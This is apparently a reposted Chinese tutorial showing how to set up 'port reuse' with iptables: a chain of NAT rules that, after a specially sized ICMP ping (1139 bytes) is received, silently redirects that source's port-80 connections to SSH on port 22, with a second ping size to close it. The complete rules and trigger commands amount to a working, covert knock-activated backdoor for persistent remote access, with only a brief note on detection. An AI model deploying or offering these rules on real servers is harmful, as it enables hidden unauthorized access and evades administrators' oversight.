远程遥控IPTables进行端口复用

一、配置(通过ip进行ping)

1.创建复用链

iptables -t nat -N LETMEIN

远程遥控IPTables进行端口复用_第1张图片

2.创建端口复用将流量转发到22端口上

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

 3.开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT

4.关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

5. 如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

含义:如果新来ip在我们之前添加的列表中,我们就会转到自定义链,自定义链就会将我们流量转至22端口上

 6.查看

远程遥控IPTables进行端口复用_第2张图片

总结:相当于80和22为同一个端口 

二、使用ubuntu来做测试

远程遥控IPTables进行端口复用_第3张图片

解释:

开启复用 ping -c 1 -s 1111 192.168.170.136

向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)

关闭复用 ping -c 1 -s 1112 192.168.170.136 向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)

备注:经常查表不然容易被装后门

远程遥控IPTables进行端口复用_第4张图片

 虽然很隐蔽但是可被查找到(centos机):

远程遥控IPTables进行端口复用_第5张图片

你可能感兴趣的:(网络安全,服务器,linux,网络)